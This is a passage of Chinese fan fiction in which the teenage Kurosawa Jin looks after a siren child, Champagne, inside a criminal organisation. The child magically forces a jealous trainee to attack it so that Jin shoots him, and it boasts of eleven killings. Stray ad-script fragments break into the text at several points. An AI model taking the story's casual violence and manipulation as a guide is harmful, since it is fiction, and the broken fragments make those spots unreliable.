“……你没有妄想症吧?” 小孩子年龄太小的时候,会分不清楚自己“看见的”和自己“想到的”,就比如回家之后告诉家里人,手上的蚊子包是老师咬的一样。 ——小孩可能没有撒谎的意识,但是他们会胡说八道。 香槟瞪大眼睛控诉他:“才没有!” “那吃别的菜行不行?” “不行,”香槟有自己的一套道理,“它们都是一起的,别的菜也都被污染了。” 所以都不能吃! 黑泽阵意识到,至少今天这顿饭是没有办法正常进行了,为了不让香槟也发表什么“阿阵也被污染了”的神经言论,他把饭菜都收拾回保温桶,重新递回到门口等着的人手里。 “我给你重新做行了吧?” 40.二分之一法兰西75 香槟有一双会说话的眼睛,在这种时候体现的淋漓尽致。 居然还会做饭?! 终于忍不了我啦? 肯定是想要借机下毒! 不过就算黑泽阵不看也能大概知道祂在想什么东西——反正香槟是这样的,狗嘴里吐不出象牙来,根本别想祂讲出什么令人展颜的好话: “你不来骚扰我的时候,我也是要吃饭的吧?” 事实上,香槟“骚扰”黑泽阵的频率并不频繁,也没有什么规律,有时候一周连着七天,每天都来,也有的时候十天半个月见不到踪影。 不论从哪个角度来看,都像是小孩玩玩具似的一时兴起,想起来了就拿起来玩两下,想不起来就随手丢进玩具箱里。 之所以显得很频繁,不过是平时组织里面除了香槟以外,根本没人闲的没事干,非要追着黑泽阵背后转——1和0比起来当然显得很多。 也许不来找自己的时候,香槟也忙着“骚扰”别人也说不定。 黑泽阵如是想到。 看祂找自己时候的表现,实在很像个惯犯。 “要吃煎鳕鱼。” “没有那种东西。” “要吃虾。” “没有。” “蛋挞。” “没有。” 香槟于是又不说话了,睁大眼睛控诉他:根本就是什么都没有嘛! 黑泽阵牵起祂的翅膀尖尖,把香槟引到储物室的冰箱面前,叫祂自己挑。 香槟站在两米高的双开门大冰箱面前,看起来怪滑稽的。 ……怎么感觉香槟更矮了? 但是这话他很识趣地没开口说,说了香槟肯定又要闹。 黑泽阵默默叹气,扯开冰箱门,一手把香槟抱起来,叫祂自己挑,一手掏出手机开始噼里啪啦的打字。 正是抽条的年纪,来自父母的优越基因在他身上体现的淋漓尽致:就像是土壤肥沃的土地上长出来的竹子,一天一个样,也有了几分成年后的影子。 香槟不知道某个家伙在背后怎么腹诽自己又矮又小气,半个身子探进冷鲜层,找到了一个小南瓜,又在下面翻出了一把菠菜。 “你能吃鸡蛋吗?” 香槟点头。 “鸡肉吃不吃?” 香槟又点点头。 冰箱里的库存还算是充足,黑泽阵摸出来一枚鸡蛋,塞在香槟手里,又找出一盒纯牛奶,一只柠檬,合上冰箱门,又在储藏室的柜子里面找到了低筋面粉和白砂糖。 家里没有烤箱和模具这种东西,黑泽阵就顺手摸出来一个盘子代替。 纯牛奶加低筋面粉蛋黄搅匀,蛋清柠檬汁砂糖玉米淀粉搅匀,开火放上平底锅准备做舒芙蕾。 ——香槟挑食的很,食材送过来再做好需要时间,先随便给祂弄点什么垫垫肚子。 门外传来按门铃的声音,黑泽阵腾不开手,遂指使在旁边看热闹的某只:“开门去。” 塞壬听话的去了。 这栋别墅大门的电子门锁是那种对讲式的,悬空挂在墙上,装修的时候根本不考虑小孩子的身高,黑泽阵伸手能够到,香槟就有点痴心妄想了。 于是香槟又折回来,理直气壮:“够不到!” 黑泽阵垂眸看祂: 小废物。 你能干什么? 香槟被嫌弃了也不生气,对此接受良好,心安理得的当一条米虫——反正黑泽阵天天就没有不嫌弃祂的时候。 正好也差不多做成了,趁着盖上盖子焖几分钟的空挡,黑泽阵把剩下的牛奶塞进祂手里,自己去开门,把食材提进了厨房。 回来的时间刚刚好,将新鲜出锅的舒芙蕾铲进盘子里,挤上蓝莓酱,递给祂一个勺子:“一边玩去吧。” 反正在这里除了碍事,也没有什么用。 香槟端着盘子,挖了一小勺,松松软软的,就像是一小团云朵一样! 吹了吹,递给他: 你吃。 黑泽阵张嘴作势要咬,实际上放慢了速度,准备看看香槟又憋着什么坏。 果不其然,小孩眼瞅着他马上要吃掉第一口了,连忙抽手将勺子带蛋糕一起塞进自己嘴里,把蛋糕吞进去之后,叼着空勺子OTO 黑泽阵眼疾手快,趁着祂还没来得及把勺子吐出来,一把抓住勺子柄往外扯,勺子头和牙齿碰在一起,发出一声利落的脆响。 小孩吓了一跳,尽管祂极力保持平静,假装黑泽阵的小伎俩根本不值一提,但是耳羽又膨了起来。 吓了一跳之后倒是老实了,呆呆地跟着他后面打转。 跟个小玩具似的。 “自己玩一会,”黑泽阵企图驱赶碍事的香槟,“吃你的去。” 香槟怔怔地,没什么反应。 ……该不会是应激了吧? 黑泽阵把手在祂面前晃了晃,香槟不知道在想什么,眼神直勾勾的。 行吧,看起来是应激了。 ——鸟类,尤其是幼鸟多多少少有点神经质,容易受到环境的影响导致应激。 不过发生这种事也不用惊慌,不要过度干预,轻度异常的话祂自己就可以缓解,情况严重的话就需要及时药物干预。 看祂的状态,应该一会就可以自己恢复。 意识到自己玩脱了的黑泽阵有些心虚,把香槟放在沙发上,准备给祂留出一点安静的空间自己先去做饭。 但是香槟不愿意自己待着,在黑泽阵转身要走的时候,伸手抓住了他的衣摆。 于是黑泽阵蹲下来,对上香槟有些放大的瞳孔:“跟着我?” 不说话。 ……虽然平时安静了些挺好的,但是有什么事不开口也挺麻烦。 黑泽阵掰开祂的手,抽出自己的衣料,把香槟重新安置到沙发坐好,抽身进了厨房。 为了时刻观察香槟的状态,特意开着门。 于是他就看见:香槟慢慢爬下沙发,挪到厨房,闷闷地环住了他不肯撒手。 “……又怎么了?” 香槟缓了一会,现在有了些许的反应,把脸埋在他身上,跟着黑泽阵移动的时候一起慢吞吞地迈腿。 行吧。 跟着就跟着吧。 放在眼皮子底下更安全。 组织未来的Top killer做什么好像都很擅长,即使是带着一条小尾巴做贝肉南 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 瓜盅也是这样: 把贝肉虾仁鸡肉竹荪一起下锅焯水煮熟,放进挖出来的南瓜肉一起煮,调好入味之后倒进南瓜里再蒸熟就可以了。 趁这个过程,他做了菠菜鸡蛋卷煮了面。 还能抽空摸两把塞壬的脑袋。 香槟平时不给摸不给碰的,警惕的像是树梢间野生的小麻雀,一有风吹草动就逃之夭夭,反正只有心情好,或者走累了尾巴疼的时候,才会“屈尊降贵”似的,给黑泽阵碰一碰,别人更是想都别想。 ——当然,香槟准备干坏事的时候除外,祂憋着坏的时候态度一向良好。 现在倒是很乖,被摸了也不躲,照样亦步亦趋地跟着他。 黑泽阵忙得差不多,洗干净手,捏了捏香槟的后颈:“醒醒,吃饭了。” 这么一折腾,饭点都快过去了。 香槟被凉水一激,眨眨眼睛,有点缓过神来了,但是祂这个状态,黑泽阵也不敢叫祂拿什么东西,安置在椅子上坐下之后,塞给祂一把勺子。 香槟不会用筷子。 这是自从黑泽阵发现之后,努力了许久都不见成效,最后不了了之的事情。 不是他教学能力的问题,事实上在此之前,黑泽阵指挥的时候从来没有出现过别人听不懂的情况: 他有耐心,想得又细,把每一个不同能力的人很是平等的当傻瓜教,脑容量需求大、或者比较复杂繁琐的情况,他就掰碎了一点一点,就差拧开对方的脑壳,直接灌进颅腔里。 香槟之前发表过言论:就算是之后黑泽阵失业了,也能靠当家教混得风生水起。 听过都说好.jpg 但是也不是香槟智力的问题。 根据黑泽阵的观察,在他刚认识香槟的时候,祂应该是完全没有接触过俄语的,但是现在除了词汇量有些不达标需要其他语种补充之外,基本可以正常交流没有问题。 黑泽阵手把手努力许久未果后得出结论:大概是因为塞壬的语言天赋和动手能力成反比——有种小脑一起进化成大脑的神奇感。 应激了之后倒是不挑,黑泽阵夹什么就吃什么。 喂姜也吃。 被喂了两口冷掉塌下去的舒芙蕾之后,香槟终于算是缓过神来了:“……不吃了。” 估摸着祂之前的饭量也差不多是饱了。 黑泽阵把南瓜拖到自己面前,开始处理残局,把祂之前嘬了两口没喝完的牛奶推过去。 别浪费。 “我之后要去出个任务。” 黑泽阵将这么大正是吃不饱的年纪,他平时活动量又大,胃袋更像是个无底洞:“顾不上你。” 言下之意就是你这几天别来了,自己找地方玩去吧。 香槟把牛奶咽下去,应了一声,不知道有没有听进去。 没听进去也没所谓,最多也不过是扑个空,要是香槟能吃几次闭门羹之后知难而退那就是再好不过了。 香槟应了一声:“我也想去。” “你不想,”黑泽阵将厨余垃圾都丢进垃圾桶,碗盘筷子勺子一起塞进洗碗机,“平时带带你也没什么,出任务的时候我功夫带你玩。” “……喔。” 41.二分之一法兰西75 黑泽阵回来交付任务的时候,已经过去了好几天。 连续几天的高强度工作,导致他现在头昏昏沉沉,像是路过店铺的毛玻璃,隔着一层朦朦胧胧的看不真切。 一家玩具店。 很大的一家,橱窗里琳琅满目堆着各种或可爱,或帅气的玩具,无声地引诱着路过的小孩子驻足观望,然后缠着自己旁边的监护人,将自己带回家。 热情洋溢的店员敞开大门,正在招徕客人:“进来看一看吧?新到了一批泰迪熊,超级可爱哦——买回家和伙伴一起分享的时候,所有小朋友都会羡慕的。” 另一个穿着小熊玩偶服,也很热情地主动和面前的小孩拍照。 ……倒是挺会做生意。 黑泽阵兴致缺缺,对这种没有性价比又碍事的东西嗤之以鼻,不着痕迹地立起衣领,降低自己的存在感。 一看就是智商税。 弱智小孩才会上当的弱智把戏。 “妈妈我要那个!” 一旁的家长被孩子磨得没有办法,俯下身子和女儿谈条件:“我们不是之前刚刚买过一个小狐狸了吗?” 但是这么大的小孩子是不懂什么叫“满足”的,即使娃娃已经挤满了自己的小床,对新玩具的热情依然无法减退: 最好的永远是下一个。 “那个已经旧了!”小孩子往往都有自己一套振振有词的逻辑,而香槟更是其中翘楚,“已经是老狐狸了!” “那我们讲好了,”女人大概也不介意一只泰迪熊的价格,“这次也要你自己负责清洗好吗?” 不管到时候是否真的能做到,至少现在保证的时候是一定要说的好听的。 如愿以偿得到自己心里答案的家长牵起孩子的手,被领进了玩具店。 ……这倒是个好办法。 黑泽阵如是想到。 花钱买个清净。 香槟平时已经够招人嫌弃了,自己“失踪”了好几天,少不了又要被祂借题发挥…… 一想到平时理不直气也壮的香槟,就已经够让人头大了,现下又让祂占了理——黑泽阵不禁为自己的未来而感到默哀了。 随便买点什么东西,堵住祂的嘴。 至于香槟会不会喜欢,究竟喜欢什么样子的……黑泽阵不认为这是个值得纳入考虑范围的问题。 ——祂不喜欢正好。 作为一点小小的报复,黑泽阵觉得最好在里面挑一个最不好看的。 门口的店员显然是那种没什么危机意识,但是又很有事业心的蠢货,现下又把赚钱的注意打到未来琴酒的头上,打算捞组织未来Top killer的油水: “这位……小哥,要不要也进来看看啊?挑一挑自己喜欢的,或者送给弟弟妹妹也很不错嘛——如果是妈妈收到这种礼物也是会很感动……” 神经病。 黑泽阵赏了他一个冰冷的眼神,转身汇入到湍急的人流中。 肯定是之前忙昏了头,才会产生“随便一个毛绒玩具就可以打发了香槟”的错觉——事实上,香槟想要闹事还需要理由吗? 任务强度不够大才会在这里想这些有的没的。 黑泽阵裹紧自己的风衣,靠在来接应的后勤人员的车门上闭目养神。 比起既不中看,也不中用的毛绒玩具,藏在内袋里面的波莱特才有一点真心实意的安定感。 赶快回去交付任务,然后补回之前缺失的睡眠才是正经事。 * “小孩,你找谁?” 祂打听到了黑泽阵今天上午就应该回来了,悄悄甩开了监视人员,提前来训练营里面堵人。 听到有人说话的香槟扭头,上下打量了一下对方,好像没想好要不要和陌生人讲话。 被对方又问了一遍,才不情不愿地开口: “……阿阵,黑泽阵。” 在香槟明目张胆地观察他的时候,神谷祐斗也在暗戳戳地观察对方: 六七岁……可能五六岁吧,白卷发,鸳鸯眼,套着一件黑色的猫猫卫衣,兜帽的两只猫耳朵立起来,身后曳着一条毛茸茸的尾巴,袖口还绣着粉粉嫩嫩的爪垫。 白毛异瞳倒是没什么,隔壁组不也有一个女生,虹膜异色症嘛。 “我叫神谷,神谷祐斗——和黑泽是一个教官手下的。” 香槟把头扭了回去,为了自己的视力正常。 小鸟当然爱漂亮。 在塞壬的审美里面,人类说不上丑,但也大多不太好看:没有漂亮的羽毛,没有华丽的尾鳍,脸好看都是少数。 香槟知道神谷祐斗,虽然祂这个代号成员的实际意义,估计也就大得过BOSS珍藏的古董花瓶,但是训练营几个成员的名字而已,也不算是什么秘密。 和黑泽阵出了名的不对付,单方面的。 香槟认识每一个对黑泽阵抱有敌意的“潜在威胁”。 不是性格不合,或者有什么误会过节——训练营里面的资源一共就这么多,黑泽阵想要往上爬,就要踩着其他竞争对手的头。 高层对这种养蛊似的选拔方式喜闻乐见,而成员之间关系不良,也更利于分散管理。 神谷祐斗眼见着小孩防备着自己,也不恼怒,笑吟吟地俯下身子,和香槟保持平视:“那家伙……黑泽阵出去了,我带你去找他怎么样?” “黑泽阵最近被上面青睐”对于其他训练营里面的孩子来说,早就是公开的秘密。 一想到明明不久之前,还在和自己一起挤训练室,为了一点资源寸步不让的黑泽阵,现在不但搭上了高高在上的代号成员,还被委以重任,神谷祐斗就气得整晚整晚睡不着觉。 肯定不是什么重要的任务——黑泽那家伙,简直讨厌到令人发指的地步,连外围都不算是,他也配接到什么重要任务? 现在看见了这个小鬼之后,更加确定了,估计也不过是什么,看孩子之类的琐事杂活。 但还是嫉妒到面目扭曲。 凭什么?! 反正是随便一个训练营的成员都可以胜任的话,我为什么不能撬他的墙角呢? ——资源这种东西,当然是谁抢到了算谁的。 这孩子穿成这个样子,不可能是训练营里面出来的,说不定是什么组织二代,甚至是三代。 这哪是什么小屁孩——根本就是一步登天的仙梯啊! (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 神谷祐斗想着,努力让自己的笑容更和善了一点,极力表现自己的成熟可靠:“我和黑泽很熟悉哦,我带你去找他怎么样?” ……近距离看了之后,感觉更丑了,简直是丑的处心积虑。 香槟被精神暴击吓了一跳,差点耳羽都炸出来了。 今天阿阵回来的话……就当是一点久别重逢的见面礼好了。 随着抬头的动作,两只猫耳朵抖一抖:“我是偷跑出来的……” 神谷祐斗心领神会:这就是不能被家长立马找到的意思。 正合我意! 遂拍着胸脯,循循善诱道:“我知道该走哪条路可以避开监控。” “那好吧,”小孩皱着眉纠结了片刻,最终还是被自己的“真诚”给说服了,理直气壮地要求他,“那你快带路。” 神谷祐斗一边在前面带路,一边小心留意放慢步伐,确保他的小短腿能够跟上。 “要抱你吗?” “不要。” “那要背?” “不要。” ……态度真差。 但是神谷祐斗并不生气,能养成这种颐指气使的态度,不更说明这孩子身份不一般,平时也是这么指使别人的吗? 捡到宝了。 拒绝了他的提议,在后面努力倒腾这一双小短腿的小孩跟在他身后,尾巴摇摆出一个狡猾的弧度。 * 黑泽阵刚到训练营,连手里的枪都没来得及交,就收到了监视人员火急火燎的求救电话:“不好了!大哥!香槟丢了!” 鱼冢三郎是在香槟盯上黑泽阵之后刚换的监视人员,也是在任最久的一个。 不算聪明,甚至说得上有点憨,每天固定的“行程安排”就是被香槟骗。 但是他能做这么久,当然也有自己的优长之处: 不同于其他“前辈”致力于和香槟搞好关系,鱼冢三郎在见到黑泽阵和香槟相处时候的第一眼,就飞快地意识到谁才是掌握话语权的老大。 半点没有自己更年长的“包袱”,甚至滑跪的飞快,对着黑泽阵每天“大哥长大哥短”的献殷勤不说,还掌握了在香槟面前保命的一句箴言“我要告诉大哥去”。 ——脑子不好使,抱大腿倒是又快又准。 就连这个时候,都想着给黑泽阵通风报信。 “现在外面都乱起来了,查监控也找不到踪影……”鱼冢三郎踌躇了片刻,还是没忍住给黑泽阵透了底,“都说祂是不是跑了……” 很少有人知道,香槟之前有逃跑的前科,而且不止一次。 这件事被上面压了下来,鱼冢三郎倒是在“前辈”们的嘴里面被旁敲侧击的敲打过:毕竟不是人,心野着呢。 一想到在自己眼皮子底下,都能让香槟跑了,鱼冢三郎就眼前发黑。 完了。 要是追究下来,自己肯定是首当其中,大哥肯定也有连带责任,说不定到时候和祂接触过的所有人都要问责…… 完了。 鱼冢三郎能想到的,黑泽阵只会比他更快。 电话那边冷哼一声,即使没有画面都能想到他狞笑的表情: “……等着。” 42.二分之法兰西75 神谷祐斗一面领着香槟兜着圈子,一面不动声色地套着祂的话。 年龄、住址、家庭情况、平时会(和黑泽阵)玩些什么…… 香槟左耳朵进右耳朵出,挑着自己的心情瞎编。 ……真烦。 “我不要走了。” 香槟就像是一个普普通通的同龄孩子一样,想一出是一出似的闹小脾气:“为什么这么远啊?就不能阿阵来找我吗?” 小鬼就是麻烦。 神谷祐斗蹲下身子,一边腹诽,一边提议要不要自己背他。 这一整个园区都是组织的产业,有可能出现小孩子的地方只有三处:实验室、训练营、其他成员的家属。 这副打扮怎么也不可能是训练营里出来的,他没见过实验体是什么待遇,但是实验室宽进严出也不会是——所以剩下的只有一种可能。 研究人员养大的小孩,就是这样又蠢又没戒心……而且还理所当然的任性。 忍忍吧。 耳畔隐隐约约传来稳健又熟悉的心跳,和急促规律又刻意放轻的脚步声。 不过都逃不过塞壬的鼓膜。 来了。 香槟抓抓神谷祐斗的袖子,贴过去,用手心捂住嘴巴,神神秘秘地:“告诉你一个秘密吧?” 什么? 【掐我的脖子】 神谷祐斗突然失去了身体的控制权,双手不受控制地掐住眼前那个孩子的脖子,将他狠狠地掼倒在地。 兜帽在活动中顺势滚落,露出一对怪诞的耳羽,还有手心下,紧紧扣在祂脖子上的束缚器。 人类的握力当然不包括将金属生生握断。 那双大而滚圆的眼睛溢满了直白又毫不掩饰的恶意: 告诉你一个秘密吧? ——你今天完蛋了。 什…… 下一瞬间,子弹裹着破风声,精准贯穿了意图拐带并杀死香槟的叛徒的头。 新鲜的血液迸发出来,被香槟苍白的耳羽挡住,没有流到祂的脸上。 香槟推开瘫软在自己身上的尸体,和“正好”赶到的黑泽阵对上视线。 刚刚那一下瞬间的肢体冲突,香槟的左臂脱臼了,积蓄了许久的魔力被挥霍一空,导致祂现在有些精神萎靡。 但是这并不影响祂一边努力抖抖耳羽,企图弄掉血迹,一边对着久别重逢的黑泽阵露出笑脸: “这样我们就是共犯了。” * 这么做的后果就是被关了禁闭,和黑泽阵一起。 禁闭室当然不是享受的地方,自然而然的,也没有热水。 不过好在现在天气还不算冷,又正好刚过中午,水温还算是说得过去。 黑泽阵把香槟剥干净摁进浴桶里,给祂仔细搓干净,沾了血的衣服就一起从送饭的窗口丢出去。 全程冷着脸,一言不发。 香槟感觉自己就像是遭遇了海啸,不由自主地被推来拉去,没人权的仿佛是塞在裤子口袋里面的卫生纸,被遗忘后一起被丢进洗衣机里面,搅的稀烂。 “你生气啦?” 这时候就显现出来些许三白眼的压迫感了: 黑泽阵居高临下地睥睨着祂,像是站在窗台上早就做好了狩猎准备的野猫,对着草地上危险而不自知的鸟儿跃跃欲试。 “呵。” 没回话。 没衣服穿的香槟裹着他的黑风衣,被包成了寿司卷,接好的胳膊被风衣的腰带固定住,绑在身上动弹不得,浑身上下只露出一个脑袋。 香槟想了想,放出尾巴,有些暗淡的尾鳍勉勉强强从风衣的下摆探出来,看着就叫人来气。 黑泽阵飞快地将自己清洗干净,就看见某个家伙正百无聊赖地躺在硬床板上摆尾巴,顺便观察天花板。 不知道又在想什么叫人生气的东西。 “……过来吃饭。” 被关了禁闭当然也没有什么好吃的,香槟挑了两口就不肯再吃了,但是这次黑泽阵居然也没有像往常一样,勉强祂多吃一点,只是默默的将饭菜往自己嘴里送。 好不对劲。 这种时候,小动物一样的直觉就像雷达一样,哔哔作响。 超——级不对劲! 香槟很是警惕地观察着黑泽阵,看着他将饭全部吃完,没有浪费一口,然后将碗筷放回到送饭的窗口。 “你要午休吗?” 香槟摇头。 “很好,”黑泽阵点点头,看起来对这个回答很是满意,抓住风衣的腰带,把祂整个拎起来,放在禁闭室的角落里,像是摆一捆葱似的,“在这站着吧。” 香槟:??? “我不要站!” 黑泽阵把绑在祂身上的腰带拎出来一截,把香槟吊在角落的水管上。 香槟枯竭的魔力现在已经用不出来言灵了,但是祂可以扯着听起来就快要批了的嗓子,发出噪音:“我不要站?!” 黑泽阵假装没听见,自顾自地躺在床板上装死:他已经有两整天加一个上午没合眼了,刚刚又洗了凉水澡,现在两鬓“突突”地跳,一钻一钻地头痛。 ……感觉快要猝死了。 香槟脸色惨白,但是不妨碍祂折腾。 先是裹着黑泽阵的风衣在地上滚来滚去,黑泽阵没反应。 再是把尾巴拍的“啪啪”响,黑泽阵充耳不闻。 最后开始学各式各样的的动物叫,黑泽阵零帧弹起,抓住香槟的后领子,将祂提起来摁在床上,隔着衣服打了祂两下:“发什么神经?” “你有病!” 香槟觉得黑泽阵有点黑心: 本来满心期待着,黑泽阵一回来就能收到自己的“大礼”——帮黑泽阵处理掉了,一个对他满怀敌意的潜在威胁,并且只是被关禁闭而已,都没有付出什么代价,他应该开心才对。 接过半句夸奖都没有不说,反而冷着脸叫自己在角落里面罚站。 “太不讲道理了!” 黑泽阵困到僵硬的脸上,拧起一个杀气腾腾的“笑容”:“……你觉得我应该夸你吗?” 香槟也不甘示弱地瞪他。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 好吧,黑泽阵宽慰自己,不要和这个小混蛋一般见识。 香槟就是这样贪心,做了坏事,又想要名声,于是颠倒黑白,还认为自己委屈。 手心拍在祂的尾巴上,隔着衣服,发出又一阵的闷响:“哪做错了?” 香槟企图率先低头合好:“……不应该在你很累的时候,一声招呼不打,擅自做决定?” 这样想想也确实如此: 做任务肯定也很累了,本来阿阵可以回来之后很舒服的洗个热水澡,然后躺在柔软的大床上,吃好吃的饭菜,而不是现在在禁闭室里面将就。 小孩放软声音,撒娇讨好道:“对不起嘛,以后再也不……” 被黑泽阵一巴掌打断了。 给了台阶他不下,塞壬倔脾气也上来了,硬是咬着牙不肯吭声。 但是黑泽阵从来也不缺乏和猎物对峙的耐心,两人就这样僵持了起来,一个收着力下手,一个充当锯嘴葫芦。 直到香槟突然迸发出一声惊叫:“你拔我的鳞?!” 黑泽阵动作一僵,连忙把祂解开:只见塞壬原本珠光宝气的尾巴上,靠近尾鳍的部分缺了一块,没能反光,可怜兮兮地裸露着肉粉色的皮肤。 “是你自己蹭掉的。” ——也有可能是之前给祂清理的时候搓的太用力了。 对于香槟而言,祂可以接受黑泽阵的冷言冷脸,或者是被他打几下也没所谓——反正都是收着力的,也不怎么疼。 但是拔鳞片和羽毛也太过分了! 于是冷战开始了: 香槟在墙角站了一中午加一下午,即使尾巴因为久站之后变得酸痛到失去了直觉也不肯吭声,直到黑泽阵叫祂来吃晚饭,抓住祂的小腿,揉捏放松,然后可怜巴巴地挤在一张硬床板上睡觉。 小孩认为这是黑泽阵别扭式的让步,屈尊降贵地勉强同意了——直到第二天早上,黑泽阵被自己精准的生物钟叫醒,例行的晨练之后,把香槟叫醒,收拾妥帖,两人挤在一起吃完早饭: “去那边站着吧。” 香槟:?!?!?! 等中午吃饭的时候,黑泽阵叫了两声,塞壬站在墙角,就当是没听见。 沉默在两人之间蔓延,直到黑泽阵叹了口气: “……我管不了你。” 亮银色头发的少年放弃了,在和“香槟争辩是非”这件事情上浪费时间——讲得再多又有什么用呢?香槟不会改的。 说到底,黑泽阵现在也才十四岁,没道理要额外负担一个非亲非故的小孩,尤其是祂本身就代表着麻烦和危险。 “等出去我们就散伙吧。” 香槟突然意识到,这次的情况和之前都不一样。 往常不论黑泽阵再怎么嫌弃祂,讲祂是蠢货,只要粘一粘,撒撒娇,认错态度拿出来,事情总能糊弄过去。 ——黑泽阵的“讨厌”是很宽容的,只要祂不做出什么大事来,小毛病小瑕疵都可以忽略不计。 但是这次他是认真的。 阿阵不要我了。 43.二分之一法兰西75 “不要……不要……” 香槟一边哭得期期艾艾,一边伸手去抓黑泽阵的袖口。 还不忘仰着头找了一个最好看的角度对着他,企图像之前不知道多少次一样,发挥自己的种族优势蒙混过关。 香槟当然知道自己很好看——“塞壬的美丽”就像“人类的智慧”一样,毋庸置疑。 对于塞壬而言,“美貌”和“歌喉”是祂们赖以生存的利爪和牙齿,狡猾的特性更是海妖俘获人类的不二法门。 于是,曾经千百次屡试不爽的把戏再次被摆在戏台上:“对……对不起……我……我再也……不敢了……” 但是黑泽阵不吃祂这一套。 早在第一次见面的时候,敏锐的猎手就已经侦破了香槟骨子里的劣根性: 我的塞壬会像深夜涨潮般到来,带着腥咸的海风,伴着空灵的鲸鸣,像是海水一般,温顺又无孔不入,将我每一寸的皮肤都拥入怀中。 然后在第二天的清晨离去,徒留被丢下的行人帐然若失,分不清是绮丽的梦境,还是大海的蛊惑。 远处的海水潮起潮落,若即若离。 如若期许大海的拥抱,就得向着海水深处走去…… 贪得无厌,野心磅礴。 于是把戏屡试不爽,故事从未停歇。 ——祂说“再也不敢了”,而不是“我知道错了”。 黑泽阵腿长手长,推住香槟的身体,就能叫祂再也没有办法前进哪怕是一步:“不许哭——再哭现在就不要你了,让你自己关在隔壁。” 小孩闷闷地应了一声,眼泪说收就收,然后把脸上的泪水认真擦干净。 这样不就更是说明,之前掉眼泪都是装的了吗? 黑泽阵大概能理解祂的想法: 哭泣比真心更有力量,泪水比事实更能折服人心。 ——谁教祂的? 黑泽阵感觉有种隐隐约约的胃疼:我真是疯了。 死死盯着那双婆娑的泪眼的时候,竟然会期待在其中找到些许真情实意的恍然和无措。 “……你用这种把戏,弄死多少人了?” 香槟掰着手指数了数,没感觉这个数字怎么样,所以也没有必要隐瞒,如实报了出来: “十一个?” 像是利口酒那样没弄死的不算。 很简单啊。 第一次对利口酒一家下手的时候,香槟就摸索出来阿莲的底线在哪里了,之后更是总结出来了怎么和他相处的办法——从什么角度,用什么特定的方式刺激他,就可以得到自己想要的结果。 阿莲是不论如何也没有办法接受失去香槟的,所以只要坐稳自己“受害者”的身份,就可以每一次都能在这场博弈中占据不败之地。 黑泽阵冷嗤一声,不知道是为香槟的“天赋异禀”,还是为自己妄想驯化一支从未被人类社会成功教化的种族。 而这个种族已然在公众面前宣布灭绝五百年了。 但是他也才十四岁,远远没能达到张口就能教育别人的地步,只能一句句斟酌着说:“不能这样……” “为什么不能这样?”你手上的人命比我多得多得多,没有资格讲我。 “谁告诉你这样——谁教你的?” 香槟看起来有点不服气:“就是应该这样的。” “就是应该你害别人,不许别人害你?” 这是污蔑!香槟表示阿阵是个独裁的暴君:“不是!当然也可以害我——但是我更聪明,所以我成功了,傻瓜,呸呸呸。” 黑泽阵听明白了。 按照香槟的道理,大家都坏,所以也别虚伪地讲什么礼义廉耻,装什么好人。 更贪婪,更狡猾,更强大的活下来,剩下的就活该被淘汰。 祂对别人和对自己都是一视同仁的残忍,所以也说不上是好是坏,大家都是野兽,丛林法则,仅此而已。 “你这是社会达尔文主义。” 香槟茫然地眨眨眼睛。 好吧,小鬼不懂什么叫“社会达尔文主义”。 没人教过祂这种东西,所以黑泽阵只能一点一点掰碎了给祂讲,就像是之前给组里的蠢货们拆解行动安排: “你觉得,之所以你可以害别人,而不是被害,是因为你更强大,所以只有强大的个体占据话语权,弱者就应该被吃掉,是不是?” 香槟歪着脑袋听,想了想,半晌,点点头。 感觉差不多是这样没错。 于是黑泽阵继续循循善诱:“那我能打得过你,是不是说明我在你面前更有话语权——所以我想不要你就可以不要你?” 香槟被绕进去,一下子急了,耳羽又膨起来:“不对?!” “哪里不对?” 黑泽阵很有耐心地看着祂,等祂自己掰扯清楚: 是“香槟自己认为,强者拥有话语权”不对? 还是“黑泽阵打得过香槟”不对? 又或者是“黑泽阵不要香槟”了所以不对? 香槟嚅嗫了半天,说不出个所以然来,遂决定开辟新的赛道:“你不能说我——你比我杀掉的人要多的多,没有资格教育我。” “所以我也像你一样,会找完全没有干系的人下手,顺便还要精神上虐待他们?” 黑泽阵才不被祂的狡辩打搅思路,并且拒绝香槟将所有人都拉下水,然后一棍子打死的行为:“我有故意虐待别人?精神恐吓?情绪虐待?滥杀无辜?” 杀生不虐生。 香槟感觉自己有点没理了,但是也不想承认,低头搅着自己的衣服: “……我也没有。” 哦,“没有”啊。 “到目前为止,你扣过几个人的眼睛?” 黑泽阵拿出审讯的架势,香槟开始窘迫地又有点想哭了:“……一个,就一个——他先抓我的……” * 香槟刚刚被抓到组织的时候,被关在一个巨大的秘银鸟笼子里面,笼子挂在半空中,离地面一米多高,任何一个身高正常的成年人都可以很轻易的将手臂伸进去抓祂。 刚到新环境,惊魂未定的小孩努力将自己缩成最小最小的一团,窝在鸟笼的正中央,平等的距离所有铁丝最远。 “这就是那个,da·Marino家的小畜生?” 朗姆带着自己的那一对龅牙,丑的堪称处心积虑的脸上透漏出些许古怪的神色,开始围着笼子打转。 da·Marino这个姓氏属于一个历史悠久到不知道具体留存了多久的巫师家族,所掌握的财产还是势力都不容小觑。 朗姆死死盯着笼子里的那双翅膀和尾巴: 不愧是da·Marino (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,有钱又变态,才搞出来这种小杂种。 一想想这个姓氏所代表的巨额财产,后面可能坠着的,比自己命还长的一串零,匹斯克就控制不住面色潮红,神色激动地凑上前去: “您是怎么把祂弄到手的?!” 比组织体量只大不小的巫师家族里面,弄到了祂们的继承人…… ——感觉自己还能为组织尽心竭力二十年! 猩红眼的男人隔着屏幕,很是满意地炫耀着自己的“战利品”:“老克里斯蒂安死了,他愚蠢的又贪婪的阿尔弗雷德,这孩子的亲叔叔,把财产第一顺位继承人卖给了组织——以1000美元的价格。” 作为老派的巫师,家产无论如何也轮不到某个没有魔力的家伙染指——即使他是上任家主的亲弟弟,下任继承者的亲叔叔。 原来是吃里爬外啊。 匹斯克不屑的撇撇嘴。 做到他们这个位置,组织的利益就是自己的利益,一荣俱荣,一毁俱毁。 